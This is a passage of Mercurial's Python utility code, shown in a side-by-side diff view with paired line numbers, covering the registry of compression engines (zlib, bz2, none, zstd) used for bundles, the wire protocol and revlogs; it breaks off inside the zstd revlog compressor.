3179 dirs = self._dirs
3178 for base in finddirs(path):
3180 for base in finddirs(path):
3179 if dirs[base] > 1:
3181 if dirs[base] > 1:
3180 dirs[base] -= 1
3182 dirs[base] -= 1
3181 return
3183 return
3182 del dirs[base]
3184 del dirs[base]
3183
3185
3184 def __iter__(self):
3186 def __iter__(self):
3185 return iter(self._dirs)
3187 return iter(self._dirs)
3186
3188
3187 def __contains__(self, d):
3189 def __contains__(self, d):
3188 return d in self._dirs
3190 return d in self._dirs
3189
3191
3190 if safehasattr(parsers, 'dirs'):
3192 if safehasattr(parsers, 'dirs'):
3191 dirs = parsers.dirs
3193 dirs = parsers.dirs
3192
3194
3193 def finddirs(path):
3195 def finddirs(path):
3194 pos = path.rfind('/')
3196 pos = path.rfind('/')
3195 while pos != -1:
3197 while pos != -1:
3196 yield path[:pos]
3198 yield path[:pos]
3197 pos = path.rfind('/', 0, pos)
3199 pos = path.rfind('/', 0, pos)
3198
3200
3199 # compression code
3201 # compression code
3200
3202
3201 SERVERROLE = 'server'
3203 SERVERROLE = 'server'
3202 CLIENTROLE = 'client'
3204 CLIENTROLE = 'client'
3203
3205
3204 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3206 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3205 (u'name', u'serverpriority',
3207 (u'name', u'serverpriority',
3206 u'clientpriority'))
3208 u'clientpriority'))
3207
3209
3208 class compressormanager(object):
3210 class compressormanager(object):
3209 """Holds registrations of various compression engines.
3211 """Holds registrations of various compression engines.
3210
3212
3211 This class essentially abstracts the differences between compression
3213 This class essentially abstracts the differences between compression
3212 engines to allow new compression formats to be added easily, possibly from
3214 engines to allow new compression formats to be added easily, possibly from
3213 extensions.
3215 extensions.
3214
3216
3215 Compressors are registered against the global instance by calling its
3217 Compressors are registered against the global instance by calling its
3216 ``register()`` method.
3218 ``register()`` method.
3217 """
3219 """
3218 def __init__(self):
3220 def __init__(self):
3219 self._engines = {}
3221 self._engines = {}
3220 # Bundle spec human name to engine name.
3222 # Bundle spec human name to engine name.
3221 self._bundlenames = {}
3223 self._bundlenames = {}
3222 # Internal bundle identifier to engine name.
3224 # Internal bundle identifier to engine name.
3223 self._bundletypes = {}
3225 self._bundletypes = {}
3224 # Revlog header to engine name.
3226 # Revlog header to engine name.
3225 self._revlogheaders = {}
3227 self._revlogheaders = {}
3226 # Wire proto identifier to engine name.
3228 # Wire proto identifier to engine name.
3227 self._wiretypes = {}
3229 self._wiretypes = {}
3228
3230
3229 def __getitem__(self, key):
3231 def __getitem__(self, key):
3230 return self._engines[key]
3232 return self._engines[key]
3231
3233
3232 def __contains__(self, key):
3234 def __contains__(self, key):
3233 return key in self._engines
3235 return key in self._engines
3234
3236
3235 def __iter__(self):
3237 def __iter__(self):
3236 return iter(self._engines.keys())
3238 return iter(self._engines.keys())
3237
3239
3238 def register(self, engine):
3240 def register(self, engine):
3239 """Register a compression engine with the manager.
3241 """Register a compression engine with the manager.
3240
3242
3241 The argument must be a ``compressionengine`` instance.
3243 The argument must be a ``compressionengine`` instance.
3242 """
3244 """
3243 if not isinstance(engine, compressionengine):
3245 if not isinstance(engine, compressionengine):
3244 raise ValueError(_('argument must be a compressionengine'))
3246 raise ValueError(_('argument must be a compressionengine'))
3245
3247
3246 name = engine.name()
3248 name = engine.name()
3247
3249
3248 if name in self._engines:
3250 if name in self._engines:
3249 raise error.Abort(_('compression engine %s already registered') %
3251 raise error.Abort(_('compression engine %s already registered') %
3250 name)
3252 name)
3251
3253
3252 bundleinfo = engine.bundletype()
3254 bundleinfo = engine.bundletype()
3253 if bundleinfo:
3255 if bundleinfo:
3254 bundlename, bundletype = bundleinfo
3256 bundlename, bundletype = bundleinfo
3255
3257
3256 if bundlename in self._bundlenames:
3258 if bundlename in self._bundlenames:
3257 raise error.Abort(_('bundle name %s already registered') %
3259 raise error.Abort(_('bundle name %s already registered') %
3258 bundlename)
3260 bundlename)
3259 if bundletype in self._bundletypes:
3261 if bundletype in self._bundletypes:
3260 raise error.Abort(_('bundle type %s already registered by %s') %
3262 raise error.Abort(_('bundle type %s already registered by %s') %
3261 (bundletype, self._bundletypes[bundletype]))
3263 (bundletype, self._bundletypes[bundletype]))
3262
3264
3263 # No external facing name declared.
3265 # No external facing name declared.
3264 if bundlename:
3266 if bundlename:
3265 self._bundlenames[bundlename] = name
3267 self._bundlenames[bundlename] = name
3266
3268
3267 self._bundletypes[bundletype] = name
3269 self._bundletypes[bundletype] = name
3268
3270
3269 wiresupport = engine.wireprotosupport()
3271 wiresupport = engine.wireprotosupport()
3270 if wiresupport:
3272 if wiresupport:
3271 wiretype = wiresupport.name
3273 wiretype = wiresupport.name
3272 if wiretype in self._wiretypes:
3274 if wiretype in self._wiretypes:
3273 raise error.Abort(_('wire protocol compression %s already '
3275 raise error.Abort(_('wire protocol compression %s already '
3274 'registered by %s') %
3276 'registered by %s') %
3275 (wiretype, self._wiretypes[wiretype]))
3277 (wiretype, self._wiretypes[wiretype]))
3276
3278
3277 self._wiretypes[wiretype] = name
3279 self._wiretypes[wiretype] = name
3278
3280
3279 revlogheader = engine.revlogheader()
3281 revlogheader = engine.revlogheader()
3280 if revlogheader and revlogheader in self._revlogheaders:
3282 if revlogheader and revlogheader in self._revlogheaders:
3281 raise error.Abort(_('revlog header %s already registered by %s') %
3283 raise error.Abort(_('revlog header %s already registered by %s') %
3282 (revlogheader, self._revlogheaders[revlogheader]))
3284 (revlogheader, self._revlogheaders[revlogheader]))
3283
3285
3284 if revlogheader:
3286 if revlogheader:
3285 self._revlogheaders[revlogheader] = name
3287 self._revlogheaders[revlogheader] = name
3286
3288
3287 self._engines[name] = engine
3289 self._engines[name] = engine
3288
3290
3289 @property
3291 @property
3290 def supportedbundlenames(self):
3292 def supportedbundlenames(self):
3291 return set(self._bundlenames.keys())
3293 return set(self._bundlenames.keys())
3292
3294
3293 @property
3295 @property
3294 def supportedbundletypes(self):
3296 def supportedbundletypes(self):
3295 return set(self._bundletypes.keys())
3297 return set(self._bundletypes.keys())
3296
3298
3297 def forbundlename(self, bundlename):
3299 def forbundlename(self, bundlename):
3298 """Obtain a compression engine registered to a bundle name.
3300 """Obtain a compression engine registered to a bundle name.
3299
3301
3300 Will raise KeyError if the bundle type isn't registered.
3302 Will raise KeyError if the bundle type isn't registered.
3301
3303
3302 Will abort if the engine is known but not available.
3304 Will abort if the engine is known but not available.
3303 """
3305 """
3304 engine = self._engines[self._bundlenames[bundlename]]
3306 engine = self._engines[self._bundlenames[bundlename]]
3305 if not engine.available():
3307 if not engine.available():
3306 raise error.Abort(_('compression engine %s could not be loaded') %
3308 raise error.Abort(_('compression engine %s could not be loaded') %
3307 engine.name())
3309 engine.name())
3308 return engine
3310 return engine
3309
3311
3310 def forbundletype(self, bundletype):
3312 def forbundletype(self, bundletype):
3311 """Obtain a compression engine registered to a bundle type.
3313 """Obtain a compression engine registered to a bundle type.
3312
3314
3313 Will raise KeyError if the bundle type isn't registered.
3315 Will raise KeyError if the bundle type isn't registered.
3314
3316
3315 Will abort if the engine is known but not available.
3317 Will abort if the engine is known but not available.
3316 """
3318 """
3317 engine = self._engines[self._bundletypes[bundletype]]
3319 engine = self._engines[self._bundletypes[bundletype]]
3318 if not engine.available():
3320 if not engine.available():
3319 raise error.Abort(_('compression engine %s could not be loaded') %
3321 raise error.Abort(_('compression engine %s could not be loaded') %
3320 engine.name())
3322 engine.name())
3321 return engine
3323 return engine
3322
3324
3323 def supportedwireengines(self, role, onlyavailable=True):
3325 def supportedwireengines(self, role, onlyavailable=True):
3324 """Obtain compression engines that support the wire protocol.
3326 """Obtain compression engines that support the wire protocol.
3325
3327
3326 Returns a list of engines in prioritized order, most desired first.
3328 Returns a list of engines in prioritized order, most desired first.
3327
3329
3328 If ``onlyavailable`` is set, filter out engines that can't be
3330 If ``onlyavailable`` is set, filter out engines that can't be
3329 loaded.
3331 loaded.
3330 """
3332 """
3331 assert role in (SERVERROLE, CLIENTROLE)
3333 assert role in (SERVERROLE, CLIENTROLE)
3332
3334
3333 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3335 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3334
3336
3335 engines = [self._engines[e] for e in self._wiretypes.values()]
3337 engines = [self._engines[e] for e in self._wiretypes.values()]
3336 if onlyavailable:
3338 if onlyavailable:
3337 engines = [e for e in engines if e.available()]
3339 engines = [e for e in engines if e.available()]
3338
3340
3339 def getkey(e):
3341 def getkey(e):
3340 # Sort first by priority, highest first. In case of tie, sort
3342 # Sort first by priority, highest first. In case of tie, sort
3341 # alphabetically. This is arbitrary, but ensures output is
3343 # alphabetically. This is arbitrary, but ensures output is
3342 # stable.
3344 # stable.
3343 w = e.wireprotosupport()
3345 w = e.wireprotosupport()
3344 return -1 * getattr(w, attr), w.name
3346 return -1 * getattr(w, attr), w.name
3345
3347
3346 return list(sorted(engines, key=getkey))
3348 return list(sorted(engines, key=getkey))
3347
3349
3348 def forwiretype(self, wiretype):
3350 def forwiretype(self, wiretype):
3349 engine = self._engines[self._wiretypes[wiretype]]
3351 engine = self._engines[self._wiretypes[wiretype]]
3350 if not engine.available():
3352 if not engine.available():
3351 raise error.Abort(_('compression engine %s could not be loaded') %
3353 raise error.Abort(_('compression engine %s could not be loaded') %
3352 engine.name())
3354 engine.name())
3353 return engine
3355 return engine
3354
3356
3355 def forrevlogheader(self, header):
3357 def forrevlogheader(self, header):
3356 """Obtain a compression engine registered to a revlog header.
3358 """Obtain a compression engine registered to a revlog header.
3357
3359
3358 Will raise KeyError if the revlog header value isn't registered.
3360 Will raise KeyError if the revlog header value isn't registered.
3359 """
3361 """
3360 return self._engines[self._revlogheaders[header]]
3362 return self._engines[self._revlogheaders[header]]
3361
3363
3362 compengines = compressormanager()
3364 compengines = compressormanager()
3363
3365
3364 class compressionengine(object):
3366 class compressionengine(object):
3365 """Base class for compression engines.
3367 """Base class for compression engines.
3366
3368
3367 Compression engines must implement the interface defined by this class.
3369 Compression engines must implement the interface defined by this class.
3368 """
3370 """
3369 def name(self):
3371 def name(self):
3370 """Returns the name of the compression engine.
3372 """Returns the name of the compression engine.
3371
3373
3372 This is the key the engine is registered under.
3374 This is the key the engine is registered under.
3373
3375
3374 This method must be implemented.
3376 This method must be implemented.
3375 """
3377 """
3376 raise NotImplementedError()
3378 raise NotImplementedError()
3377
3379
3378 def available(self):
3380 def available(self):
3379 """Whether the compression engine is available.
3381 """Whether the compression engine is available.
3380
3382
3381 The intent of this method is to allow optional compression engines
3383 The intent of this method is to allow optional compression engines
3382 that may not be available in all installations (such as engines relying
3384 that may not be available in all installations (such as engines relying
3383 on C extensions that may not be present).
3385 on C extensions that may not be present).
3384 """
3386 """
3385 return True
3387 return True
3386
3388
3387 def bundletype(self):
3389 def bundletype(self):
3388 """Describes bundle identifiers for this engine.
3390 """Describes bundle identifiers for this engine.
3389
3391
3390 If this compression engine isn't supported for bundles, returns None.
3392 If this compression engine isn't supported for bundles, returns None.
3391
3393
3392 If this engine can be used for bundles, returns a 2-tuple of strings of
3394 If this engine can be used for bundles, returns a 2-tuple of strings of
3393 the user-facing "bundle spec" compression name and an internal
3395 the user-facing "bundle spec" compression name and an internal
3394 identifier used to denote the compression format within bundles. To
3396 identifier used to denote the compression format within bundles. To
3395 exclude the name from external usage, set the first element to ``None``.
3397 exclude the name from external usage, set the first element to ``None``.
3396
3398
3397 If bundle compression is supported, the class must also implement
3399 If bundle compression is supported, the class must also implement
3398 ``compressstream`` and `decompressorreader``.
3400 ``compressstream`` and `decompressorreader``.
3399
3401
3400 The docstring of this method is used in the help system to tell users
3402 The docstring of this method is used in the help system to tell users
3401 about this engine.
3403 about this engine.
3402 """
3404 """
3403 return None
3405 return None
3404
3406
3405 def wireprotosupport(self):
3407 def wireprotosupport(self):
3406 """Declare support for this compression format on the wire protocol.
3408 """Declare support for this compression format on the wire protocol.
3407
3409
3408 If this compression engine isn't supported for compressing wire
3410 If this compression engine isn't supported for compressing wire
3409 protocol payloads, returns None.
3411 protocol payloads, returns None.
3410
3412
3411 Otherwise, returns ``compenginewireprotosupport`` with the following
3413 Otherwise, returns ``compenginewireprotosupport`` with the following
3412 fields:
3414 fields:
3413
3415
3414 * String format identifier
3416 * String format identifier
3415 * Integer priority for the server
3417 * Integer priority for the server
3416 * Integer priority for the client
3418 * Integer priority for the client
3417
3419
3418 The integer priorities are used to order the advertisement of format
3420 The integer priorities are used to order the advertisement of format
3419 support by server and client. The highest integer is advertised
3421 support by server and client. The highest integer is advertised
3420 first. Integers with non-positive values aren't advertised.
3422 first. Integers with non-positive values aren't advertised.
3421
3423
3422 The priority values are somewhat arbitrary and only used for default
3424 The priority values are somewhat arbitrary and only used for default
3423 ordering. The relative order can be changed via config options.
3425 ordering. The relative order can be changed via config options.
3424
3426
3425 If wire protocol compression is supported, the class must also implement
3427 If wire protocol compression is supported, the class must also implement
3426 ``compressstream`` and ``decompressorreader``.
3428 ``compressstream`` and ``decompressorreader``.
3427 """
3429 """
3428 return None
3430 return None
3429
3431
3430 def revlogheader(self):
3432 def revlogheader(self):
3431 """Header added to revlog chunks that identifies this engine.
3433 """Header added to revlog chunks that identifies this engine.
3432
3434
3433 If this engine can be used to compress revlogs, this method should
3435 If this engine can be used to compress revlogs, this method should
3434 return the bytes used to identify chunks compressed with this engine.
3436 return the bytes used to identify chunks compressed with this engine.
3435 Else, the method should return ``None`` to indicate it does not
3437 Else, the method should return ``None`` to indicate it does not
3436 participate in revlog compression.
3438 participate in revlog compression.
3437 """
3439 """
3438 return None
3440 return None
3439
3441
3440 def compressstream(self, it, opts=None):
3442 def compressstream(self, it, opts=None):
3441 """Compress an iterator of chunks.
3443 """Compress an iterator of chunks.
3442
3444
3443 The method receives an iterator (ideally a generator) of chunks of
3445 The method receives an iterator (ideally a generator) of chunks of
3444 bytes to be compressed. It returns an iterator (ideally a generator)
3446 bytes to be compressed. It returns an iterator (ideally a generator)
3445 of bytes of chunks representing the compressed output.
3447 of bytes of chunks representing the compressed output.
3446
3448
3447 Optionally accepts an argument defining how to perform compression.
3449 Optionally accepts an argument defining how to perform compression.
3448 Each engine treats this argument differently.
3450 Each engine treats this argument differently.
3449 """
3451 """
3450 raise NotImplementedError()
3452 raise NotImplementedError()
3451
3453
3452 def decompressorreader(self, fh):
3454 def decompressorreader(self, fh):
3453 """Perform decompression on a file object.
3455 """Perform decompression on a file object.
3454
3456
3455 Argument is an object with a ``read(size)`` method that returns
3457 Argument is an object with a ``read(size)`` method that returns
3456 compressed data. Return value is an object with a ``read(size)`` that
3458 compressed data. Return value is an object with a ``read(size)`` that
3457 returns uncompressed data.
3459 returns uncompressed data.
3458 """
3460 """
3459 raise NotImplementedError()
3461 raise NotImplementedError()
3460
3462
3461 def revlogcompressor(self, opts=None):
3463 def revlogcompressor(self, opts=None):
3462 """Obtain an object that can be used to compress revlog entries.
3464 """Obtain an object that can be used to compress revlog entries.
3463
3465
3464 The object has a ``compress(data)`` method that compresses binary
3466 The object has a ``compress(data)`` method that compresses binary
3465 data. This method returns compressed binary data or ``None`` if
3467 data. This method returns compressed binary data or ``None`` if
3466 the data could not be compressed (too small, not compressible, etc).
3468 the data could not be compressed (too small, not compressible, etc).
3467 The returned data should have a header uniquely identifying this
3469 The returned data should have a header uniquely identifying this
3468 compression format so decompression can be routed to this engine.
3470 compression format so decompression can be routed to this engine.
3469 This header should be identified by the ``revlogheader()`` return
3471 This header should be identified by the ``revlogheader()`` return
3470 value.
3472 value.
3471
3473
3472 The object has a ``decompress(data)`` method that decompresses
3474 The object has a ``decompress(data)`` method that decompresses
3473 data. The method will only be called if ``data`` begins with
3475 data. The method will only be called if ``data`` begins with
3474 ``revlogheader()``. The method should return the raw, uncompressed
3476 ``revlogheader()``. The method should return the raw, uncompressed
3475 data or raise a ``RevlogError``.
3477 data or raise a ``RevlogError``.
3476
3478
3477 The object is reusable but is not thread safe.
3479 The object is reusable but is not thread safe.
3478 """
3480 """
3479 raise NotImplementedError()
3481 raise NotImplementedError()
3480
3482
3481 class _zlibengine(compressionengine):
3483 class _zlibengine(compressionengine):
3482 def name(self):
3484 def name(self):
3483 return 'zlib'
3485 return 'zlib'
3484
3486
3485 def bundletype(self):
3487 def bundletype(self):
3486 """zlib compression using the DEFLATE algorithm.
3488 """zlib compression using the DEFLATE algorithm.
3487
3489
3488 All Mercurial clients should support this format. The compression
3490 All Mercurial clients should support this format. The compression
3489 algorithm strikes a reasonable balance between compression ratio
3491 algorithm strikes a reasonable balance between compression ratio
3490 and size.
3492 and size.
3491 """
3493 """
3492 return 'gzip', 'GZ'
3494 return 'gzip', 'GZ'
3493
3495
3494 def wireprotosupport(self):
3496 def wireprotosupport(self):
3495 return compewireprotosupport('zlib', 20, 20)
3497 return compewireprotosupport('zlib', 20, 20)
3496
3498
3497 def revlogheader(self):
3499 def revlogheader(self):
3498 return 'x'
3500 return 'x'
3499
3501
3500 def compressstream(self, it, opts=None):
3502 def compressstream(self, it, opts=None):
3501 opts = opts or {}
3503 opts = opts or {}
3502
3504
3503 z = zlib.compressobj(opts.get('level', -1))
3505 z = zlib.compressobj(opts.get('level', -1))
3504 for chunk in it:
3506 for chunk in it:
3505 data = z.compress(chunk)
3507 data = z.compress(chunk)
3506 # Not all calls to compress emit data. It is cheaper to inspect
3508 # Not all calls to compress emit data. It is cheaper to inspect
3507 # here than to feed empty chunks through generator.
3509 # here than to feed empty chunks through generator.
3508 if data:
3510 if data:
3509 yield data
3511 yield data
3510
3512
3511 yield z.flush()
3513 yield z.flush()
3512
3514
3513 def decompressorreader(self, fh):
3515 def decompressorreader(self, fh):
3514 def gen():
3516 def gen():
3515 d = zlib.decompressobj()
3517 d = zlib.decompressobj()
3516 for chunk in filechunkiter(fh):
3518 for chunk in filechunkiter(fh):
3517 while chunk:
3519 while chunk:
3518 # Limit output size to limit memory.
3520 # Limit output size to limit memory.
3519 yield d.decompress(chunk, 2 ** 18)
3521 yield d.decompress(chunk, 2 ** 18)
3520 chunk = d.unconsumed_tail
3522 chunk = d.unconsumed_tail
3521
3523
3522 return chunkbuffer(gen())
3524 return chunkbuffer(gen())
3523
3525
3524 class zlibrevlogcompressor(object):
3526 class zlibrevlogcompressor(object):
3525 def compress(self, data):
3527 def compress(self, data):
3526 insize = len(data)
3528 insize = len(data)
3527 # Caller handles empty input case.
3529 # Caller handles empty input case.
3528 assert insize > 0
3530 assert insize > 0
3529
3531
3530 if insize < 44:
3532 if insize < 44:
3531 return None
3533 return None
3532
3534
3533 elif insize <= 1000000:
3535 elif insize <= 1000000:
3534 compressed = zlib.compress(data)
3536 compressed = zlib.compress(data)
3535 if len(compressed) < insize:
3537 if len(compressed) < insize:
3536 return compressed
3538 return compressed
3537 return None
3539 return None
3538
3540
3539 # zlib makes an internal copy of the input buffer, doubling
3541 # zlib makes an internal copy of the input buffer, doubling
3540 # memory usage for large inputs. So do streaming compression
3542 # memory usage for large inputs. So do streaming compression
3541 # on large inputs.
3543 # on large inputs.
3542 else:
3544 else:
3543 z = zlib.compressobj()
3545 z = zlib.compressobj()
3544 parts = []
3546 parts = []
3545 pos = 0
3547 pos = 0
3546 while pos < insize:
3548 while pos < insize:
3547 pos2 = pos + 2**20
3549 pos2 = pos + 2**20
3548 parts.append(z.compress(data[pos:pos2]))
3550 parts.append(z.compress(data[pos:pos2]))
3549 pos = pos2
3551 pos = pos2
3550 parts.append(z.flush())
3552 parts.append(z.flush())
3551
3553
3552 if sum(map(len, parts)) < insize:
3554 if sum(map(len, parts)) < insize:
3553 return ''.join(parts)
3555 return ''.join(parts)
3554 return None
3556 return None
3555
3557
3556 def decompress(self, data):
3558 def decompress(self, data):
3557 try:
3559 try:
3558 return zlib.decompress(data)
3560 return zlib.decompress(data)
3559 except zlib.error as e:
3561 except zlib.error as e:
3560 raise error.RevlogError(_('revlog decompress error: %s') %
3562 raise error.RevlogError(_('revlog decompress error: %s') %
3561 str(e))
3563 str(e))
3562
3564
3563 def revlogcompressor(self, opts=None):
3565 def revlogcompressor(self, opts=None):
3564 return self.zlibrevlogcompressor()
3566 return self.zlibrevlogcompressor()
3565
3567
3566 compengines.register(_zlibengine())
3568 compengines.register(_zlibengine())
3567
3569
3568 class _bz2engine(compressionengine):
3570 class _bz2engine(compressionengine):
3569 def name(self):
3571 def name(self):
3570 return 'bz2'
3572 return 'bz2'
3571
3573
3572 def bundletype(self):
3574 def bundletype(self):
3573 """An algorithm that produces smaller bundles than ``gzip``.
3575 """An algorithm that produces smaller bundles than ``gzip``.
3574
3576
3575 All Mercurial clients should support this format.
3577 All Mercurial clients should support this format.
3576
3578
3577 This engine will likely produce smaller bundles than ``gzip`` but
3579 This engine will likely produce smaller bundles than ``gzip`` but
3578 will be significantly slower, both during compression and
3580 will be significantly slower, both during compression and
3579 decompression.
3581 decompression.
3580
3582
3581 If available, the ``zstd`` engine can yield similar or better
3583 If available, the ``zstd`` engine can yield similar or better
3582 compression at much higher speeds.
3584 compression at much higher speeds.
3583 """
3585 """
3584 return 'bzip2', 'BZ'
3586 return 'bzip2', 'BZ'
3585
3587
3586 # We declare a protocol name but don't advertise by default because
3588 # We declare a protocol name but don't advertise by default because
3587 # it is slow.
3589 # it is slow.
3588 def wireprotosupport(self):
3590 def wireprotosupport(self):
3589 return compewireprotosupport('bzip2', 0, 0)
3591 return compewireprotosupport('bzip2', 0, 0)
3590
3592
3591 def compressstream(self, it, opts=None):
3593 def compressstream(self, it, opts=None):
3592 opts = opts or {}
3594 opts = opts or {}
3593 z = bz2.BZ2Compressor(opts.get('level', 9))
3595 z = bz2.BZ2Compressor(opts.get('level', 9))
3594 for chunk in it:
3596 for chunk in it:
3595 data = z.compress(chunk)
3597 data = z.compress(chunk)
3596 if data:
3598 if data:
3597 yield data
3599 yield data
3598
3600
3599 yield z.flush()
3601 yield z.flush()
3600
3602
3601 def decompressorreader(self, fh):
3603 def decompressorreader(self, fh):
3602 def gen():
3604 def gen():
3603 d = bz2.BZ2Decompressor()
3605 d = bz2.BZ2Decompressor()
3604 for chunk in filechunkiter(fh):
3606 for chunk in filechunkiter(fh):
3605 yield d.decompress(chunk)
3607 yield d.decompress(chunk)
3606
3608
3607 return chunkbuffer(gen())
3609 return chunkbuffer(gen())
3608
3610
3609 compengines.register(_bz2engine())
3611 compengines.register(_bz2engine())
3610
3612
3611 class _truncatedbz2engine(compressionengine):
3613 class _truncatedbz2engine(compressionengine):
3612 def name(self):
3614 def name(self):
3613 return 'bz2truncated'
3615 return 'bz2truncated'
3614
3616
3615 def bundletype(self):
3617 def bundletype(self):
3616 return None, '_truncatedBZ'
3618 return None, '_truncatedBZ'
3617
3619
3618 # We don't implement compressstream because it is hackily handled elsewhere.
3620 # We don't implement compressstream because it is hackily handled elsewhere.
3619
3621
3620 def decompressorreader(self, fh):
3622 def decompressorreader(self, fh):
3621 def gen():
3623 def gen():
3622 # The input stream doesn't have the 'BZ' header. So add it back.
3624 # The input stream doesn't have the 'BZ' header. So add it back.
3623 d = bz2.BZ2Decompressor()
3625 d = bz2.BZ2Decompressor()
3624 d.decompress('BZ')
3626 d.decompress('BZ')
3625 for chunk in filechunkiter(fh):
3627 for chunk in filechunkiter(fh):
3626 yield d.decompress(chunk)
3628 yield d.decompress(chunk)
3627
3629
3628 return chunkbuffer(gen())
3630 return chunkbuffer(gen())
3629
3631
3630 compengines.register(_truncatedbz2engine())
3632 compengines.register(_truncatedbz2engine())
3631
3633
3632 class _noopengine(compressionengine):
3634 class _noopengine(compressionengine):
3633 def name(self):
3635 def name(self):
3634 return 'none'
3636 return 'none'
3635
3637
3636 def bundletype(self):
3638 def bundletype(self):
3637 """No compression is performed.
3639 """No compression is performed.
3638
3640
3639 Use this compression engine to explicitly disable compression.
3641 Use this compression engine to explicitly disable compression.
3640 """
3642 """
3641 return 'none', 'UN'
3643 return 'none', 'UN'
3642
3644
3643 # Clients always support uncompressed payloads. Servers don't because
3645 # Clients always support uncompressed payloads. Servers don't because
3644 # unless you are on a fast network, uncompressed payloads can easily
3646 # unless you are on a fast network, uncompressed payloads can easily
3645 # saturate your network pipe.
3647 # saturate your network pipe.
3646 def wireprotosupport(self):
3648 def wireprotosupport(self):
3647 return compewireprotosupport('none', 0, 10)
3649 return compewireprotosupport('none', 0, 10)
3648
3650
3649 # We don't implement revlogheader because it is handled specially
3651 # We don't implement revlogheader because it is handled specially
3650 # in the revlog class.
3652 # in the revlog class.
3651
3653
3652 def compressstream(self, it, opts=None):
3654 def compressstream(self, it, opts=None):
3653 return it
3655 return it
3654
3656
3655 def decompressorreader(self, fh):
3657 def decompressorreader(self, fh):
3656 return fh
3658 return fh
3657
3659
3658 class nooprevlogcompressor(object):
3660 class nooprevlogcompressor(object):
3659 def compress(self, data):
3661 def compress(self, data):
3660 return None
3662 return None
3661
3663
3662 def revlogcompressor(self, opts=None):
3664 def revlogcompressor(self, opts=None):
3663 return self.nooprevlogcompressor()
3665 return self.nooprevlogcompressor()
3664
3666
3665 compengines.register(_noopengine())
3667 compengines.register(_noopengine())
3666
3668
3667 class _zstdengine(compressionengine):
3669 class _zstdengine(compressionengine):
3668 def name(self):
3670 def name(self):
3669 return 'zstd'
3671 return 'zstd'
3670
3672
3671 @propertycache
3673 @propertycache
3672 def _module(self):
3674 def _module(self):
3673 # Not all installs have the zstd module available. So defer importing
3675 # Not all installs have the zstd module available. So defer importing
3674 # until first access.
3676 # until first access.
3675 try:
3677 try:
3676 from . import zstd
3678 from . import zstd
3677 # Force delayed import.
3679 # Force delayed import.
3678 zstd.__version__
3680 zstd.__version__
3679 return zstd
3681 return zstd
3680 except ImportError:
3682 except ImportError:
3681 return None
3683 return None
3682
3684
3683 def available(self):
3685 def available(self):
3684 return bool(self._module)
3686 return bool(self._module)
3685
3687
3686 def bundletype(self):
3688 def bundletype(self):
3687 """A modern compression algorithm that is fast and highly flexible.
3689 """A modern compression algorithm that is fast and highly flexible.
3688
3690
3689 Only supported by Mercurial 4.1 and newer clients.
3691 Only supported by Mercurial 4.1 and newer clients.
3690
3692
3691 With the default settings, zstd compression is both faster and yields
3693 With the default settings, zstd compression is both faster and yields
3692 better compression than ``gzip``. It also frequently yields better
3694 better compression than ``gzip``. It also frequently yields better
3693 compression than ``bzip2`` while operating at much higher speeds.
3695 compression than ``bzip2`` while operating at much higher speeds.
3694
3696
3695 If this engine is available and backwards compatibility is not a
3697 If this engine is available and backwards compatibility is not a
3696 concern, it is likely the best available engine.
3698 concern, it is likely the best available engine.
3697 """
3699 """
3698 return 'zstd', 'ZS'
3700 return 'zstd', 'ZS'
3699
3701
3700 def wireprotosupport(self):
3702 def wireprotosupport(self):
3701 return compewireprotosupport('zstd', 50, 50)
3703 return compewireprotosupport('zstd', 50, 50)
3702
3704
3703 def revlogheader(self):
3705 def revlogheader(self):
3704 return '\x28'
3706 return '\x28'
3705
3707
3706 def compressstream(self, it, opts=None):
3708 def compressstream(self, it, opts=None):
3707 opts = opts or {}
3709 opts = opts or {}
3708 # zstd level 3 is almost always significantly faster than zlib
3710 # zstd level 3 is almost always significantly faster than zlib
3709 # while providing no worse compression. It strikes a good balance
3711 # while providing no worse compression. It strikes a good balance
3710 # between speed and compression.
3712 # between speed and compression.
3711 level = opts.get('level', 3)
3713 level = opts.get('level', 3)
3712
3714
3713 zstd = self._module
3715 zstd = self._module
3714 z = zstd.ZstdCompressor(level=level).compressobj()
3716 z = zstd.ZstdCompressor(level=level).compressobj()
3715 for chunk in it:
3717 for chunk in it:
3716 data = z.compress(chunk)
3718 data = z.compress(chunk)
3717 if data:
3719 if data:
3718 yield data
3720 yield data
3719
3721
3720 yield z.flush()
3722 yield z.flush()
3721
3723
3722 def decompressorreader(self, fh):
3724 def decompressorreader(self, fh):
3723 zstd = self._module
3725 zstd = self._module
3724 dctx = zstd.ZstdDecompressor()
3726 dctx = zstd.ZstdDecompressor()
3725 return chunkbuffer(dctx.read_from(fh))
3727 return chunkbuffer(dctx.read_from(fh))
3726
3728
3727 class zstdrevlogcompressor(object):
3729 class zstdrevlogcompressor(object):
3728 def __init__(self, zstd, level=3):
3730 def __init__(self, zstd, level=3):
3729 # Writing the content size adds a few bytes to the output. However,
3731 # Writing the content size adds a few bytes to the output. However,
3730 # it allows decompression to be more optimal since we can
3732 # it allows decompression to be more optimal since we can
3731 # pre-allocate a buffer to hold the result.
3733 # pre-allocate a buffer to hold the result.
3732 self._cctx = zstd.ZstdCompressor(level=level,
3734 self._cctx = zstd.ZstdCompressor(level=level,
3733 write_content_size=True)
3735 write_content_size=True)
3734 self._dctx = zstd.ZstdDecompressor()
3736 self._dctx = zstd.ZstdDecompressor()
3735 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3737 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3736 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3738 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3737
3739
3738 def compress(self, data):
3740 def compress(self, data):
3739 insize = len(data)
3741 insize = len(data)
3740 # Caller handles empty input case.
3742 # Caller handles empty input case.
3741 assert insize > 0
3743 assert insize > 0
3742
3744
3743 if insize < 50:
3745 if insize < 50:
3744 return None
3746 return None
3745
3747
3746 elif insize <= 1000000:
3748 elif insize <= 1000000:
3747 compressed = self._cctx.compress(data)
3749 compressed = self._cctx.compress(data)
3748 if len(compressed) < insize:
3750 if len(compressed) < insize:
3749 return compressed
3751 return compressed
3750 return None
3752 return None
3751 else:
3753 else:
3752 z = self._cctx.compressobj()
3754 z = self._cctx.compressobj()
3753 chunks = []
3755 chunks = []
3754 pos = 0
3756 pos = 0
3755 while pos < insize:
3757 while pos < insize:
